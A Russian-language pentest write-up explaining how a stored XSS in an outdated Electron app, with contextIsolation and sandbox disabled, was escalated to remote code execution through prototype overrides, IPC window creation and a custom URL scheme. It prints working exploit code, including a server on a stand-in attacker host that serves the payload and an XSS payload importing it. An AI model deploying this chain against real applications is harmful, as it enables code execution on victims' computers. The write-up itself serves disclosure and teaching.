Автор баги: panyakor
Electron — популярный фреймворк для создания кроссплатформенных десктопных приложений с использованием веб-технологий. Однако неправильная конфигурация безопасности может привести к серьезным уязвимостям. В данной статье мы рассмотрим эксплуатацию приложений с отключенными параметрами contextIsolation: false и sandbox: false, что позволило нам выполнить произвольный код на целевой системе.

Архитектура Electron приложения
Прежде чем перейти к описанию найденных уязвимостей, рассмотрим сначала общую архитектуру приложений на Electron. А также разберем основные параметры конфигурации, которые оказывают влияние на безопасность.
Electron разделяет приложение на два основных типа процессов: основной процесс (main process) и процессы рендеринга (renderer processes).
Основной процесс является ключевой точкой входа в приложение и существует в единственном числе. Он имеет полный доступ к Node.js API, поэтому может выполнять операции с файловой системой, запускать подпроцессы и т.д. Также он управляет жизненным циклом приложения и реализует нативные функции, такие как контекстное меню, диалоговые окна, уведомления.
Основной процесс с помощью создания объектов класса BrowserWindow
может порождать процессы рендеринга (Renderer Processes). Каждое окно (или вкладка) приложения запускает свой процесс рендеринга. Процесс рендеринга отображает веб-страницу и обрабатывает пользовательский интерфейс с помощью движка Chromium. Для безопасности, по умолчанию процессы рендеринга не имеют прямого доступа к Node.js API и общаются с основным процессом через IPC. Но это можно изменить через свойства объекта webPreferences
при создании BrowserWindow
.
Для связи между процессами рендеринга и основным процессом, а также для предоставления доступа к привилегированным API используются preload-скрипты. Они имеют доступ к Node.js API и всегда выполняются перед загрузкой веб-страницы в процессе рендеринга.
Рассмотрим основные настройки BrowserWindow
, влияющие на безопасность этой архитектуры.
nodeIntegration
(с версии 5 по умолчаниюfalse
) — при значенииtrue
предоставляет полный доступ к Node.js API из процессов рендеринга. В таком случае XSS = RCE.contextIsolation
(с версии 12 по умолчаниюtrue
) — приtrue
изолирует контексты выполнения скриптов в процессах рендеринга и preload-скриптах (а также внутреннем API Electron). Не позволяя таким образом влиять на глобальные объекты (напримерwindow
).sandbox
(с версии 20 по умолчаниюtrue
) — при значенииtrue
включает механизм песочницы для Chromium процессов, что накладывает дополнительные ограничения для процессов рендеринга средствами операционной системы (см. подробнее в https://chromium.googlesource.com/chromium/src/+/main/docs/design/sandbox.md).
Начало исследования: XSS как точка входа
На одной из страниц веб-приложения мы нашли уязвимый элемент, позволяющий исполнить произвольный JavaScript. Значение одного из параметров, контролируемое пользователем и сохраняемое в базе данных, небезопасно выводилось на странице с помощью innerHTML
. Это приводило к возможности проведения XSS-атак, используя простую нагрузку:
<img/src/onerror=alert(origin)>
Помимо веб-версии, в область исследования также входило десктопное приложение на базе Electron. Electron-приложение использовало практически ту же версию сайта, и эта уязвимость там тоже воспроизводилась.
После распаковки ASAR-архива приложения через CLI-утилиту asar:
1 |
asar e app.asar source |
Мы сразу обратили внимание на опасную конфигурацию главного окна (contextIsolation: false
и sandbox: false
), создаваемого в основном процессе при запуске приложения:
1 2 3 4 5 6 7 8 9 10 11 |
new BrowserWindow({ autoHideMenuBar: true, webPreferences: { devTools: true, nodeIntegration: false, nodeIntegrationInWorker: false, contextIsolation: false, preload: (0, path_1.join)(__dirname, 'preload.js'), backgroundThrottling: false } }) |
Далее мы проанализировали скрипт preload.js
на наличие методов, небезопасно использующих Electron API или Node.js API (например методы объектов shell
, fs
, child_process
и т.п.). Но не нашли ничего интересного, кроме предоставления доступа к объекту ipcRenderer
(используется для посылки сообщений в основной процесс), и получения информации о среде исполнения:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
var electron_1 = require("electron"); var env_1 = require("../api/env"); var version = require('./../../package.json').version; var electronApi = { ipc: electron_1.ipcRenderer, platform: env_1.default.OS, version: { app: version, node: process.versions.node, chrome: process.versions.chrome, electron: process.versions.electron }, env: env_1.default }; window.electronApi = electronApi; |
Стоит также заметить, что в приложении использовался Electron 16-й версии (уже устаревший на тот момент).
В случае отключенной изоляции процессов через contextIsolation: false
, в этой версии существует способ повлиять из процесса рендеринга на объекты Electron API в основном процессе таким образом, что в связке с sandbox: false
это позволяет выполнить произвольный код на компьютере жертвы (источник: https://www.youtube.com/watch?v=Tzo8ucHA5xw).
Код эксплойта, использующий этот способ, выглядит следующим образом (операционная система жертвы: macOS):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
const origEndsWith = String.prototype.endsWith; String.prototype.endsWith = function(...args) { if (args && args[0] === 'MacOS/Electron') { String.prototype.endsWith = origEndsWith; return true; } return origEndsWith.apply(this, args); }; const origCallMethod = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === '__webpack_require__') { const __webpack_require__ = args[3]; __webpack_require__('module')._load('child_process').execSync('open -a Calculator'); Function.prototype.call = origCallMethod; } return origCallMethod.apply(this, args); }; |
Сначала он переопределяет метод endsWith
в прототипе объекта String
, чтобы пройти проверку для логирования информации о предупреждениях безопасности в консоль после загрузки страницы (по умолчанию работает только при запуске приложения через electron app_dir
в процессе разработки).
См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/init.ts:
1 2 3 4 5 |
// Warn about security issues if (process.isMainFrame) { const { securityWarnings } = require('@electron/internal/renderer/security-warnings') as typeof securityWarningsModule; securityWarnings(nodeIntegration); } |
См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/security-warnings.ts:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
const shouldLogSecurityWarnings = function (): boolean { if (shouldLog !== null) { return shouldLog; } switch (platform) { case 'darwin': shouldLog = execPath.endsWith('MacOS/Electron') || execPath.includes('Electron.app/Contents/Frameworks/'); break; case 'freebsd': case 'linux': shouldLog = execPath.endsWith('/electron'); break; case 'win32': shouldLog = execPath.endsWith('\\electron.exe'); break; default: shouldLog = false; } if ((env && env.ELECTRON_DISABLE_SECURITY_WARNINGS) || (window && window.ELECTRON_DISABLE_SECURITY_WARNINGS)) { shouldLog = false; } if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) || (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) { shouldLog = true; } return shouldLog; }; // ... export function securityWarnings (nodeIntegration: boolean) { const loadHandler = async function () { if (shouldLogSecurityWarnings()) { const webPreferences = await getWebPreferences(); logSecurityWarnings(webPreferences, nodeIntegration); } }; window.addEventListener('load', loadHandler, { once: true }); } |
Далее, при логировании в функции logSecurityWarnings
выполняется функция warnAboutInsecureCSP
, которая вызывает функцию isUnsafeEvalEnabled
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
import { webFrame } from 'electron'; // ... const isUnsafeEvalEnabled = () => { return webFrame._isEvalAllowed(); }; // ... const warnAboutInsecureCSP = function () { if (!isUnsafeEvalEnabled()) return; const warning = `This renderer process has either no Content Security Policy set or a policy with "unsafe-eval" enabled. This exposes users of this app to unnecessary security risks.\n${moreInformation}`; console.warn('%cElectron Security Warning (Insecure Content-Security-Policy)', 'font-weight: bold;', warning); }; // ... const logSecurityWarnings = function ( webPreferences: Electron.WebPreferences | undefined, nodeIntegration: boolean ) { warnAboutNodeWithRemoteContent(nodeIntegration); warnAboutDisabledWebSecurity(webPreferences); warnAboutInsecureResources(); warnAboutInsecureContentAllowed(webPreferences); warnAboutExperimentalFeatures(webPreferences); warnAboutEnableBlinkFeatures(webPreferences); warnAboutInsecureCSP(); warnAboutAllowedPopups(); }; |
Функция isUnsafeEvalEnabled
обращается к модулю webFrame
, который после сборки через webpack
, подключается через вызов метода Function.prototype.call
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
function ___electron_webpack_init__() { !function(e) { var t = {}; function __webpack_require__(n) { if (t[n]) return t[n].exports; var r = t[n] = { i: n, l: !1, exports: {} }; return e[n].call(r.exports, r, r.exports, __webpack_require__), r.l = !0, r.exports } // ... } |
Cм. https://github.com/webpack/webpack/blob/de79ee457eb921e6e1b186c90c65590789a013ca/
lib/javascript/JavascriptModulesPlugin.js#L1430-L1445
В этом вызове четвертым аргументом (под именем __webpack_require__
) передается функция require
из Node.js API основного процесса приложения.
Переопределив функцию Function.prototype.call
в эксплойте, мы можем по количеству аргументов и названию переданной четвертым аргументом функции, получить доступ к Node.js API из процесса рендеринга. Далее через этот require
мы просто загружаем модуль child_process
из Node.js API и запускаем калькулятор.
Попробовав этот эксплойт в нашем приложении, мы столкнулись с небольшой проблемой. Из-за того, что часть интерфейса с XSS-уязвимостью загружалась динамически, а проверка необходимости логировать информацию о предупреждениях безопасности происходит по наступлению события load
, эксплойт переопределял методы в прототипах объектов Electron API слишком поздно.
Тут нам помог объект ipcRenderer
, переданный в процесс рендеринга через свойство ipc
глобального объекта electronApi
в скрипте preload.js
.
А также возможность создания и скрытия окон (объектов BrowserWindow
) через обработчики событий IPC, объявленные в коде приложения (использовался модуль @electron/remote
):
WinManager.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
var electron_1 = require("electron"); function WinManager() { var _this = this; this.store = {}; electron_1.ipcMain.on('CREATE_WINDOW', function (event, message) { var name = message.name, url = message.url, options = message.options; if (name && !Object.keys(_this.store).includes(name) && url) { // ... _this.createWindow(name, url, options || {}); } }); } // ... WinManager.prototype.createWindow = function (name, url, config) { if (!this.store[name]) { this.store[name] = new BaseWindow(name, url, config); } return !!this.store[name]; }; |
BaseWindow.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
// ... var electron_1 = require("electron"); var mainRemote = require("@electron/remote/main"); // ... function BaseWindow(name, url, config) { var _this = _super.call(this) || this; _this.name = name; // ... _this.win = _this.createWindow(config, false); _this.win.setMenuBarVisibility(false); _this.win.loadURL(url); electron_1.ipcMain.on("window.".concat(name), function (event, message) { if (message && message.action === 'window_control') { switch (message.payload.do) { // ... case 'hide': _this.hide(); break; case 'show': _this.show(); break; // ... default: break; } } // ... } }; // ... BaseWindow.prototype.createWindow = function (config, focusListener) { // ... _this.win = new electron_1.BrowserWindow(__assign(__assign({}, config), _this.baseConfig)); mainRemote.enable(_this.win.webContents); // ... }; |
Код намеренно упрощен, и несмотря на то, что объект с настройками config
передается в BrowserWindow
, переопределить настройки webPreferences
через него было нельзя.
Чтобы решить проблему с поздним срабатыванием эксплойта, мы можем создать новое окно приложения через посылку события CREATE_WINDOW
в ipcRenderer
:
1 |
electronApi.ipc.send('CREATE_WINDOW', { url: '/pwn_electron_page', name: 'test', options: {} }); |
После наступления события load
у этого окна, в нем залогируются предупреждения безопасности и переопределенный нами метод Function.prototype.call
приведет к RCE.
Сценарий атаки
Чтобы перейти от XSS к полноценному RCE, мы разместили на своем сервере https://attacker.com код, который импортировался при срабатывании события onerror в XSS-нагрузке:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
app.get('/pwn_import', (req, res) => { res.set('content-type', 'text/javascript'); res.set('access-control-allow-origin', '*'); res.send(` const origEndsWith = String.prototype.endsWith; String.prototype.endsWith = function(...args) { if (args && args[0] === 'MacOS/Electron') { String.prototype.endsWith = origEndsWith; return true; } return origEndsWith.apply(this, args); }; const origCallMethod = Function.prototype.call; Function.prototype.call = function(...args) { if (args[3] && args[3].name === '__webpack_require__') { const __webpack_require__ = args[3]; __webpack_require__('module')._load('child_process').execSync('open -a Calculator'); Function.prototype.call = origCallMethod; } return origCallMethod.apply(this, args); }; if (!location.href.includes('/pwn_electron_page')) { electronApi.ipc.send('CREATE_WINDOW', { url: 'https://attacker.com/pwn_electron_page', name: 'test', options: {} }); } else { electronApi.ipc.send('window.test', { action: 'window_control', payload: { do: 'hide' } }); } `); }); app.get('/pwn_electron_page', (req, res) => { res.set('content-type', 'text/html'); res.send(`<script src="/pwn_import"></script>`); }); |
- Злоумышленник внедряет XSS-нагрузку
<img/src/onerror=import('https://attacker.com/pwn_import')>
на странице созданной им маркетинговой кампании. - При открытии страницы этой кампании жертвой в приложении, выполняется эксплойт, переопределяющий методы объектов прототипов Electron API.
- Через IPC событие
CREATE_WINDOW
открывается новое окно с URLhttps://attacker.com/pwn_electron_page
и именемtest
. - Срабатывает переопределенный вызов
Function.prototype.call
и открывается калькулятор. - Открытое окно с именем
test
скрывается.
Эксплуатация через пользовательскую схему URL
Приложение поддерживало собственную схему ссылок customscheme://
, что создавало дополнительный вектор атаки. Мы использовали эту функциональность для инициации атаки. Таким образом, полный сценарий атаки выглядел так:
- Мы создали специально сформированную ссылку вида
customscheme:///campaigns/widget/<id>
, где числовой параметр<id>
указывал на идентификатор маркетинговой кампании, содержащей внедренный нами вредоносный код. - При клике пользователя на такую ссылку операционная система автоматически запускала зарегистрированное Electron приложение и передавала ему параметры URL.
- Приложение обрабатывало полученный URL и загружало соответствующую маркетинговую кампанию, в контент которой нами был внедрен JavaScript‑код.
- Этот скрипт исполнялся сразу после загрузки кампании — без каких‑либо дополнительных действий со стороны пользователя или предупреждений системы.
Заключение
Данный случай наглядно показывает, к чему может привести несоблюдение базовых настроек безопасности в Electron-приложении. Даже одиночная XSS, в сочетании с отключенным contextIsolation
, превращается в полноценную точку входа для RCE. Добавление кастомной схемы только упрощает атаку и делает её практически незаметной для пользователя. В подобных конфигурациях цена одной уязвимости значительно возрастает и с ней уже нельзя работать «по шаблону».
Пентест
Вы можете нанять одну из лучших команд хакеров в мире для проведения тестирования на проникновение.
Мы работаем как с крупными корпорациями, так и со стартапами, знаем про требования регуляторов, нужды бизнеса и реальные угрозы.